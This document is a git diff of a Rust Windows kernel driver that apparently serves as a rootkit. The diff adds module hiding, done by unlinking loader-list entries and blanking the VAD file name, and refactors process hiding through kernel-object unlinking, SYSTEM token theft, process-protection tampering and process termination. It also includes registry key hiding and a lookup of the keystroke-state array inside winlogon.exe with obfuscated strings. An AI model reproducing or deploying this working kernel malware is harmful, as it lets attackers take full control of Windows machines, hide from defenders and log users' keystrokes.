*mut LDR_DATA_TABLE_ENTRY; if list_entry.is_null() { log::error!("LDR_DATA_TABLE_ENTRY is null"); KeUnstackDetachProcess(&mut apc_state); - ExFreePool(temp_info as _); - return STATUS_UNSUCCESSFUL; + return Err(STATUS_UNSUCCESSFUL); } - let buffer = core::slice::from_raw_parts( - (*list_entry).FullDllName.Buffer, - ((*list_entry).FullDllName.Length / 2) as usize, - ); + // Retrieves the full module name + let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize); if buffer.is_empty() { log::error!("Buffer for module name is empty"); KeUnstackDetachProcess(&mut apc_state); - ExFreePool(temp_info as _); - return STATUS_UNSUCCESSFUL; + return Err(STATUS_UNSUCCESSFUL); } - // Module name + // Populates the `ModuleInfo` structure with name, address, and index let name = &mut (*temp_info.offset(count)).name.as_mut(); core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); - - // Module address (*temp_info.offset(count)).address = (*list_entry).DllBase as usize; - - // Module index (*temp_info.offset(count)).index = count as u8; count += 1; @@ -104,8 +105,10 @@ impl Module { next = (*next).Flink; } + // Detaches the target process KeUnstackDetachProcess(&mut apc_state); + // Copies module information to the caller's space let size_to_copy = count as usize * core::mem::size_of::(); let mut return_size = 0; MmCopyVirtualMemory( @@ -118,10 +121,160 @@ impl Module { &mut return_size, ); - ExFreePool(temp_info as _); - *information = count as usize * core::mem::size_of::(); - STATUS_SUCCESS + Ok(()) } + + /// Hides a module in a target process by removing its entries from the module list. + /// + /// # Parameters + /// - `target`: A pointer to a `TargetModule` structure containing information about the module to be hidden. + /// + /// # Returns + /// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the module is successfully hidden, otherwise returns an appropriate error status. + /// + pub unsafe fn hide_module(target: *mut TargetModule) -> Result<(), NTSTATUS> { + let pid = (*target).pid; + let module_name = &(*target).module_name.to_lowercase(); + let mut apc_state: KAPC_STATE = core::mem::zeroed(); + let target = Process::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; + + KeStackAttachProcess(target.e_process, &mut apc_state); + let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; + if target_peb.is_null() || (*target_peb).Ldr.is_null() { + KeUnstackDetachProcess(&mut apc_state); + return Err(STATUS_INVALID_PARAMETER); + } + + let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY; + let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; + let mut address = core::ptr::null_mut(); + + while next != current { + if next.is_null() { + log::error!("Next LIST_ENTRY is null"); + KeUnstackDetachProcess(&mut apc_state); + return Err(STATUS_UNSUCCESSFUL); + } + + let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; + if list_entry.is_null() { + log::error!("LDR_DATA_TABLE_ENTRY is null"); + KeUnstackDetachProcess(&mut apc_state); + return Err(STATUS_UNSUCCESSFUL); + } + + let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize); + if buffer.is_empty() { + log::error!("Buffer for module name is empty"); + KeUnstackDetachProcess(&mut apc_state); + return Err(STATUS_UNSUCCESSFUL); + } + + let dll_name = alloc::string::String::from_utf16_lossy(&buffer); + if module_name.contains(&dll_name.to_lowercase()) { + // Removes the module from the load order list + Self::remove_link(&mut (*list_entry).InLoadOrderLinks); + Self::remove_link(&mut (*list_entry).InMemoryOrderLinks); + Self::remove_link(&mut (*list_entry).u1.InInitializationOrderLinks); + Self::remove_link(&mut (*list_entry).HashLinks); + address = (*list_entry).DllBase; + break; + } + + next = (*next).Flink; + } + + // Detaches the target process + KeUnstackDetachProcess(&mut apc_state); + + if !address.is_null() { + Self::hide_vad(address as u64, target); + } + + Ok(()) + } + + /// Hides a VAD (Virtual Address Descriptor) in the target process. + /// + /// # Parameters + /// - `target_address`: The address of the module to hide. + /// - `target_eprocess`: The target process structure. + /// + /// # Returns + /// - `NTSTATUS`: Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status. + /// + pub unsafe fn hide_vad(target_address: u64, target_eprocess: Process) -> Result<(), NTSTATUS> { + let vad_root = 0x7d8; + let vad_table = target_eprocess.e_process.cast::().offset(vad_root) as *mut RTL_BALANCED_NODE; + let current_node = vad_table; + + // Uses a stack to iteratively traverse the tree + let mut stack = alloc::vec![vad_table]; + + while let Some(current_node) = stack.pop() { + if current_node.is_null() { + continue; + } + + // Converts the current node to an MMVAD_SHORT + let vad_short = current_node as *mut MMVAD_SHORT; + + // Calculates start and end addresses + let mut start_address = (*vad_short).starting_vpn as u64; + let mut end_address = (*vad_short).ending_vpn as u64; + + // Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address + start_address |= ((*vad_short).starting_vpn_high as u64) << 32; + end_address |= ((*vad_short).ending_vpn_high as u64) << 32; + + // Multiply the addresses by 0x1000 (page size) to get the real addresses + let start_address = start_address * 0x1000; + let end_address = end_address * 0x1000; + + if (*vad_short).u.vad_flags.vad_type() == Self::VAD_IMAGE_MAP && target_address >= start_address && target_address <= end_address { + let long_node = vad_short as *mut MMVAD; + + let subsection = (*long_node).subsection; + if subsection.is_null() || (*subsection).control_area.is_null() || (*(*subsection).control_area).file_pointer.inner.object.is_null() { + return Err(STATUS_INVALID_ADDRESS); + } + + let file_object = ((*(*subsection).control_area).file_pointer.inner.value & !0xF) as *const FILE_OBJECT; + let file_name = core::slice::from_raw_parts((*file_object).FileName.Buffer, ((*file_object).FileName.Length / 2) as usize); + core::ptr::write_bytes((*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize); + break; + } + + // Stack the right node (if there is one) + if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right.is_null() { + stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Right); + } + + // Stack the left node (if there is one) + if !(*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left.is_null() { + stack.push((*vad_short).vad_node.__bindgen_anon_1.__bindgen_anon_1.Left); + } + } + + Ok(()) + } + + /// Removes a link from the list. + /// + /// # Parameters + /// - `list`: A mutable reference to the `LIST_ENTRY` structure to unlink. + /// + unsafe fn remove_link(list: &mut LIST_ENTRY) { + let next = list.Flink; + let previous = list.Blink; + + (*next).Blink = previous; + (*previous).Flink = next; + + list.Flink = list; + list.Blink = list; + } + } diff --git a/.gitignore b/driver/src/module/vad.rs similarity index 100% rename from .gitignore rename to driver/src/module/vad.rs diff --git a/driver/src/process/callback.rs b/driver/src/process/callback.rs index cd5f412..d748be6 100644 --- a/driver/src/process/callback.rs +++ b/driver/src/process/callback.rs @@ -1,13 +1,13 @@ #![cfg(not(feature = "mapper"))] use { + alloc::vec::Vec, core::ffi::c_void, spin::{Mutex, lazy::Lazy}, - alloc::vec::Vec, shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PIDS}, winapi::um::winnt::{PROCESS_CREATE_THREAD, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ}, wdk_sys::{ - ntddk::PsGetProcessId, PVOID, + ntddk::PsGetProcessId, _OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS}, NTSTATUS, OB_PRE_OPERATION_INFORMATION, PEPROCESS, PROCESS_DUP_HANDLE, STATUS_SUCCESS, STATUS_UNSUCCESSFUL, @@ -16,7 +16,7 @@ use { }; /// Handle for the process callback registration. -pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: PVOID = core::ptr::null_mut(); +pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut c_void = core::ptr::null_mut(); /// List of target PIDs protected by a mutex. static TARGET_PIDS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PIDS))); diff --git a/driver/src/process/ioctls.rs b/driver/src/process/ioctls.rs index febdd9c..629acd4 100644 --- a/driver/src/process/ioctls.rs +++ b/driver/src/process/ioctls.rs @@ -5,10 +5,11 @@ use { shared::{ ioctls::*, structs::{ - EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, ProcessSignature, TargetProcess + EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, + ProcessSignature, TargetProcess } }, - wdk_sys::{IO_STACK_LOCATION, IRP}, + wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, crate::{handle_process, process::Process, utils::ioctls::IoctlHandler}, }; @@ -23,9 +24,15 @@ pub fn get_process_ioctls(ioctls: &mut HashMap) { // Elevates the specified process to system privileges. ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_ELEVATE_PROCESS"); + let status = unsafe { handle_process!(stack, Process::elevate_process, TargetProcess) }; + unsafe { (*irp).IoStatus.Information = size_of::() as u64; } - status + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } }) as IoctlHandler); // Hide / Unhide the specified process. @@ -39,17 +46,26 @@ pub fn get_process_ioctls(ioctls: &mut HashMap) { // Terminate process. ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_TERMINATE_PROCESS"); + let status = unsafe { handle_process!(stack, Process::terminate_process, TargetProcess) }; + unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; + status }) as IoctlHandler); // Modifying the PP / PPL of a process. ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { log::info!("Received IOCTL_SIGNATURE_PROCESS"); + let status = unsafe { handle_process!(stack, Process::protection_signature, ProcessSignature) }; + unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; - status + + match status { + Ok(_) => STATUS_SUCCESS, + Err(err_code) => err_code + } }) as IoctlHandler); // Lists the processes currently hidden and protect. diff --git a/driver/src/process/mod.rs b/driver/src/process/mod.rs index f785d94..f02e029 100644 --- a/driver/src/process/mod.rs +++ b/driver/src/process/mod.rs @@ -41,6 +41,7 @@ impl Process { /// # Returns /// - `Option`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`. /// + #[inline] pub fn new(pid: usize) -> Option { let mut process = core::ptr::null_mut(); @@ -63,13 +64,11 @@ impl Process { /// pub unsafe fn process_toggle(process: *mut ProcessInfoHide) -> NTSTATUS { let pid = (*process).pid; - let status = if (*process).enable { - Self::hide_process(pid) + if (*process).enable { + Self::hide_process(pid).map(|_| STATUS_SUCCESS).unwrap_or_else(|err_code| err_code) } else { - Self::unhide_process(pid) - }; - - status + Self::unhide_process(pid).map(|_| STATUS_SUCCESS).unwrap_or_else(|err_code| err_code) + } } /// Hide a process by removing it from the list of active processes. @@ -80,17 +79,14 @@ impl Process { /// # Return /// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - unsafe fn hide_process(pid: usize) -> NTSTATUS { + unsafe fn hide_process(pid: usize) -> Result<(), NTSTATUS> { // Offsets let unique_process_id = get_offset_unique_process_id(); let active_process_link_list = unique_process_id + core::mem::size_of::() as isize; let process_lock = unique_process_id - core::mem::size_of::() as isize; // Retrieving EPROCESS from the target process - let process = match Self::new(pid) { - Some(p) => p, - None => return STATUS_UNSUCCESSFUL, - }; + let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; let list_entry = process.e_process.cast::().offset(active_process_link_list) as PLIST_ENTRY; let push_lock = process.e_process.cast::().offset(process_lock) as *mut u64; @@ -106,7 +102,6 @@ impl Process { let mut process_info = PROCESS_INFO_HIDE.lock(); let list_ptr = Box::into_raw(Box::new(list)); - log::info!("Stored list entry at: {:?}", list_ptr); process_info.push(HiddenProcessInfo { pid, @@ -123,7 +118,7 @@ impl Process { ExReleasePushLockExclusiveEx(push_lock, 0); - STATUS_SUCCESS + Ok(()) } /// Unhide a process by removing it from the list of active processes. @@ -134,17 +129,14 @@ impl Process { /// # Return /// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - unsafe fn unhide_process(pid: usize) -> NTSTATUS { + unsafe fn unhide_process(pid: usize) -> Result<(), NTSTATUS> { // Offsets let unique_process_id = get_offset_unique_process_id(); let active_process_link_list = unique_process_id + core::mem::size_of::() as isize; let process_lock = unique_process_id - core::mem::size_of::() as isize; // Retrieving EPROCESS from the target process - let process = match Self::new(pid) { - Some(p) => p, - None => return STATUS_UNSUCCESSFUL, - }; + let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; let list_entry = process.e_process.cast::().offset(active_process_link_list) as PLIST_ENTRY; let push_lock = process.e_process.cast::().offset(process_lock) as PULONG_PTR; @@ -158,7 +150,7 @@ impl Process { let list = process.list_entry.load(Ordering::SeqCst); if list.is_null() { log::error!("List entry stored in AtomicPtr is null"); - return STATUS_INVALID_PARAMETER; + return Err(STATUS_INVALID_PARAMETER); } (*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY; @@ -174,13 +166,13 @@ impl Process { } else { log::info!("PID ({pid}) Not found"); ExReleasePushLockExclusiveEx(push_lock, 0); - return STATUS_UNSUCCESSFUL; + return Err(STATUS_UNSUCCESSFUL); } log::info!("Process with PID {pid} unhidden successfully."); ExReleasePushLockExclusiveEx(push_lock, 0); - STATUS_SUCCESS + Ok(()) } /// Toggles the enumeration between hiding or protecting processes based on the options provided. @@ -285,7 +277,7 @@ impl Process { /// # Return /// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - pub unsafe fn protection_signature(signature_info: *mut ProcessSignature) -> NTSTATUS { + pub unsafe fn protection_signature(signature_info: *mut ProcessSignature) -> Result<(), NTSTATUS> { let pid = (*signature_info).pid; let sg = (*signature_info).sg; let tp = (*signature_info).tp; @@ -294,10 +286,7 @@ impl Process { let protection_offset = get_offset_signature(); // Retrieving EPROCESS from the target process - let process = match Self::new(pid) { - Some(p) => p, - None => return STATUS_UNSUCCESSFUL, - }; + let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; let new_sign = (sg << 4) | tp; let process_signature = process.e_process.cast::().offset(protection_offset) as *mut PROCESS_SIGNATURE; @@ -306,7 +295,7 @@ impl Process { (*process_signature).protection.set_type_(tp as u8); (*process_signature).protection.set_signer(sg as u8); - STATUS_SUCCESS + Ok(()) } /// Raises the token of the specified process to the system token. @@ -321,7 +310,7 @@ impl Process { /// # Return /// - `NTSTATUS`: A status code indicating success or failure of the operation. /// - pub unsafe fn elevate_process(process: *mut TargetProcess) -> NTSTATUS { + pub unsafe fn elevate_process(process: *mut TargetProcess) -> Result<(), NTSTATUS> { let pid = (*process).pid; let system_process = 4; @@ -329,16 +318,10 @@ impl Process { let token = get_offset_token(); // Retrieving EPROCESS from the target process - let target = match Self::new(pid) { - Some(p) => p, - None => return STATUS_UNSUCCESSFUL, - }; + let target = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; // Retrieving EPROCESS from the System process (By default the PID is 4) - let system = match Self::new(system_process) { - Some(p) => p, - None => return STATUS_UNSUCCESSFUL, - }; + let system = Self::new(system_process).ok_or(STATUS_UNSUCCESSFUL)?; // Accessing EPROCESS.Token let target_token_ptr = target.e_process.cast::().offset(token) as *mut u64; @@ -349,7 +332,7 @@ impl Process { log::info!("Elevate NT AUTHORITY\\SYSTEM for the process: {pid}"); - STATUS_SUCCESS + Ok(()) } } diff --git a/driver/src/registry/callback.rs b/driver/src/registry/callback.rs index 18db830..49a4073 100644 --- a/driver/src/registry/callback.rs +++ b/driver/src/registry/callback.rs @@ -2,20 +2,24 @@ use { super::{ - utils::{check_key_value, enumerate_value_key, RegistryInfo}, HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES + utils::{check_key_value, enumerate_value_key, RegistryInfo}, + HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES }, crate::{ registry::{utils::{check_key, enumerate_key}, Registry}, - utils::valid_kernel_memory + utils::{pool::PoolMemory, valid_kernel_memory} }, alloc::{format, string::String}, core::{ffi::c_void, ptr::null_mut}, wdk_sys::{ ntddk::{ CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx, - ExAllocatePool2, ExFreePool, ObOpenObjectByPointer, ZwClose - }, _MODE::KernelMode, _REG_NOTIFY_CLASS::{ - RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey, RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey + ObOpenObjectByPointer, ZwClose + }, + _MODE::KernelMode, + _REG_NOTIFY_CLASS::{ + RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey, + RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey }, * }, }; @@ -137,11 +141,14 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> return STATUS_SUCCESS; } - let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) as *mut u8; - if buffer.is_null() { - ZwClose(key_handle); - return STATUS_SUCCESS; - } + let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) { + Some(mem) => mem.ptr as *mut u8, + None => { + log::error!("PoolMemory (Enumerate Key) Failed"); + ZwClose(key_handle); + return STATUS_SUCCESS; + } + }; let mut result_length = 0; let mut counter = 0; @@ -162,7 +169,6 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> } ZwClose(key_handle); - ExFreePool(buffer as _); STATUS_SUCCESS } @@ -209,11 +215,14 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA return STATUS_SUCCESS; } - let buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) as *mut u8; - if buffer.is_null() { - ZwClose(key_handle); - return STATUS_SUCCESS; - } + let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) { + Some(mem) => mem.ptr as *mut u8, + None => { + log::error!("PoolMemory (Enumerate Key) Failed"); + ZwClose(key_handle); + return STATUS_SUCCESS; + } + }; let mut result_length = 0; let mut counter = 0; @@ -236,7 +245,6 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA } ZwClose(key_handle); - ExFreePool(buffer as _); STATUS_SUCCESS } diff --git a/driver/src/registry/ioctls.rs b/driver/src/registry/ioctls.rs index a9d497b..f8c71ce 100644 --- a/driver/src/registry/ioctls.rs +++ b/driver/src/registry/ioctls.rs @@ -1,10 +1,7 @@ #![cfg(not(feature = "mapper"))] use { - crate::{ - handle_registry, - registry::{Registry, utils::KeyListType} - }, + crate::{handle_registry,registry::{Registry, utils::KeyListType}}, shared::structs::TargetRegistry, crate::utils::ioctls::IoctlHandler, alloc::boxed::Box, diff --git a/driver/src/registry/utils.rs b/driver/src/registry/utils.rs index 4c781c7..6d3b7ea 100644 --- a/driver/src/registry/utils.rs +++ b/driver/src/registry/utils.rs @@ -18,10 +18,12 @@ use { /// Checks if the key is present. /// /// # Parameters +/// /// - `info`: Pointer to the record operation information structure. /// - `key`: Name of the key to be checked. /// /// # Returns +/// /// - `bool`: Returns `true` if the key is found, otherwise `false`. /// pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool { @@ -29,10 +31,8 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) match (*info_class).KeyInformationClass { KeyBasicInformation => { let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION; - let name = from_raw_parts( - (*basic_information).Name.as_ptr(), - ((*basic_information).NameLength / size_of::() as u32) as usize, - ); + let name = from_raw_parts((*basic_information).Name.as_ptr(), ((*basic_information).NameLength / size_of::() as u32) as usize); + let key = format!("{key}\\{}", String::from_utf16_lossy(name)); if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { return true @@ -40,10 +40,8 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) }, KeyNameInformation => { let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION; - let name = from_raw_parts( - (*basic_information).Name.as_ptr(), - ((*basic_information).NameLength / size_of::() as u32) as usize, - ); + let name = from_raw_parts((*basic_information).Name.as_ptr(), ((*basic_information).NameLength / size_of::() as u32) as usize); + let key = format!("{key}\\{}", String::from_utf16_lossy(name)); if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { return true @@ -69,10 +67,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St match (*info_class).KeyValueInformationClass { KeyValueBasicInformation => { let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION; - let name = from_raw_parts( - (*value).Name.as_ptr(), - ((*value).NameLength / size_of::() as u32) as usize, - ); + let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::() as u32) as usize); let value = String::from_utf16_lossy(name); if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { return true @@ -80,10 +75,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St }, KeyValueFullInformationAlign64 => { let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION; - let name = from_raw_parts( - (*value).Name.as_ptr(), - ((*value).NameLength / size_of::() as u32) as usize, - ); + let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::() as u32) as usize); let value = String::from_utf16_lossy(name); if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { @@ -93,10 +85,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St }, KeyValueFullInformation => { let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION; - let name = from_raw_parts( - (*value).Name.as_ptr(), - ((*value).NameLength / size_of::() as u32) as usize, - ); + let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::() as u32) as usize,); let value = String::from_utf16_lossy(name); if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { diff --git a/driver/src/thread/mod.rs b/driver/src/thread/mod.rs index 73942df..ee5dda8 100644 --- a/driver/src/thread/mod.rs +++ b/driver/src/thread/mod.rs @@ -42,6 +42,7 @@ impl Thread { /// # Returns /// - `Option`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`. /// + #[inline] pub fn new(tid: usize) -> Option { let mut thread = core::ptr::null_mut(); diff --git a/driver/src/utils/address.rs b/driver/src/utils/address.rs new file mode 100644 index 0000000..d7b7eb1 --- /dev/null +++ b/driver/src/utils/address.rs @@ -0,0 +1,139 @@ +use { + obfstr::obfstr, + ntapi::ntzwapi::ZwQuerySystemInformation, + super::{get_process_by_name, pool::PoolMemory}, + crate::{process::Process, utils::SystemModuleInformation}, + core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts}, + wdk_sys::{ + ntddk::{ + KeStackAttachProcess, + KeUnstackDetachProcess + }, + KAPC_STATE, NT_SUCCESS, POOL_FLAG_NON_PAGED, + }, + winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64} +}; + +/// Gets the base address of a specified module. +/// +/// # Parameters +/// - `module_name`: A string slice containing the name of the module. +/// +/// # Returns +/// - `Option<*mut c_void>`: An optional pointer to the base address of the module, or None if the module is not found. +/// +pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> { + let mut return_bytes = 0; + ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes); + + let info_module = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"dsdx")) + .map(|mem| mem.ptr as *mut SystemModuleInformation) + .or_else(|| { + log::error!("PoolMemory (SystemModuleInformation) Failed"); + None + })?; + + RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize); + + let status = ZwQuerySystemInformation( + SystemModuleInformation, + info_module as *mut winapi::ctypes::c_void, + return_bytes, + &mut return_bytes + ); + if !NT_SUCCESS(status) { + log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}"); + return None; + } + + let module_count = (*info_module).modules_count; + + for i in 0..module_count as usize { + let name = (*info_module).modules[i].image_name; + let module_base = (*info_module).modules[i].image_base as *mut c_void; + if let Ok(name_str) = core::str::from_utf8(&name) { + if name_str.contains(module_name) { + return Some(module_base); + } + } + } + + None +} + +/// Gets the address of a specified function within a module. +/// +/// # Parameters +/// - `function_name`: A string slice containing the name of the function. +/// - `dll_base`: A pointer to the base address of the DLL. +/// +/// # Returns +/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found. +/// +pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> { + let dos_header = dll_base as *mut IMAGE_DOS_HEADER; + let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; + let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _); + let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _); + let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _); + + for i in 0..(*export_directory).NumberOfNames as isize { + let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?; + let ordinal = ordinals[i as usize] as usize; + let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void; + if name == function_name { + return Some(address); + } + } + + None +} + +/// Get the address of the `gafAsyncKeyState` array within a module in the context of a target process. +/// +/// # Parameters +/// - `name`: A string slice containing the name `gafAsyncKeyState`. +/// - `dll_base`: A pointer to the base address of the DLL. +/// +/// # Returns +/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found. +/// +pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> { + let mut apc_state: KAPC_STATE = core::mem::zeroed(); + let pid = match get_process_by_name(obfstr!("winlogon.exe")) { + Some(p) => p, + None => return None + }; + + let target = match Process::new(pid) { + Some(p) => p, + None => return None + }; + + KeStackAttachProcess(target.e_process, &mut apc_state); + + let dll_base = dll_base as usize; + let dos_header = dll_base as *mut IMAGE_DOS_HEADER; + let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; + let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _); + let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _); + let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _); + + for i in 0..(*export_directory).NumberOfNames as isize { + let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?; + let ordinal = ordinals[i as usize] as usize; + let address = (dll_base + functions[ordinal] as usize) as *mut c_void; + if name_module == name { + KeUnstackDetachProcess(&mut apc_state); + return Some(address); + } + } + + KeUnstackDetachProcess(&mut apc_state); + + None +} \ No newline at end of file diff --git a/driver/src/utils/handles.rs b/driver/src/utils/handles.rs new file mode 100644 index 0000000..b645433 --- /dev/null +++ b/driver/src/utils/handles.rs @@ -0,0 +1,28 @@ +use wdk_sys::{ntddk::ZwClose, HANDLE}; + +pub struct Handle(HANDLE); + +impl Handle { + /// Create new instance `Handle`. + #[inline] + pub fn new(handle: HANDLE) -> Self { + Handle(handle) + } + + /// Return handle. + #[inline] + pub fn get(&self) -> HANDLE { + self.0 + } +} + +impl Drop for Handle { + #[inline] + fn drop(&mut self) { + if !self.0.is_null() { + unsafe { + ZwClose(self.0); + } + } + } +} \ No newline at end of file diff --git a/driver/src/utils/ioctls.rs b/driver/src/utils/ioctls.rs index b07f133..c313466 100644 --- a/driver/src/utils/ioctls.rs +++ b/driver/src/utils/ioctls.rs @@ -18,20 +18,23 @@ use { pub type IoctlHandler = Box NTSTATUS + Send + Sync>; lazy_static! { - pub static ref IOCTL_MAP: HashMap = { - let mut ioctls = HashMap::new(); - get_process_ioctls(&mut ioctls); - get_thread_ioctls(&mut ioctls); - get_driver_ioctls(&mut ioctls); - get_callback_ioctls(&mut ioctls); - get_injection_ioctls(&mut ioctls); - get_misc_ioctls(&mut ioctls); - get_module_ioctls(&mut ioctls); + pub static ref IOCTL_MAP: HashMap = load_ioctls(); +} - #[cfg(not(feature = "mapper"))] { - get_registry_ioctls(&mut ioctls); - } - - ioctls - }; -} \ No newline at end of file +fn load_ioctls() -> HashMap { + let mut ioctls = HashMap::new(); + + get_process_ioctls(&mut ioctls); + get_thread_ioctls(&mut ioctls); + get_driver_ioctls(&mut ioctls); + get_callback_ioctls(&mut ioctls); + get_injection_ioctls(&mut ioctls); + get_misc_ioctls(&mut ioctls); + get_module_ioctls(&mut ioctls); + + #[cfg(not(feature = "mapper"))] { + get_registry_ioctls(&mut ioctls); + } + + ioctls +} diff --git a/driver/src/utils/macros.rs b/driver/src/utils/macros.rs index 009d434..b58aaa7 100644 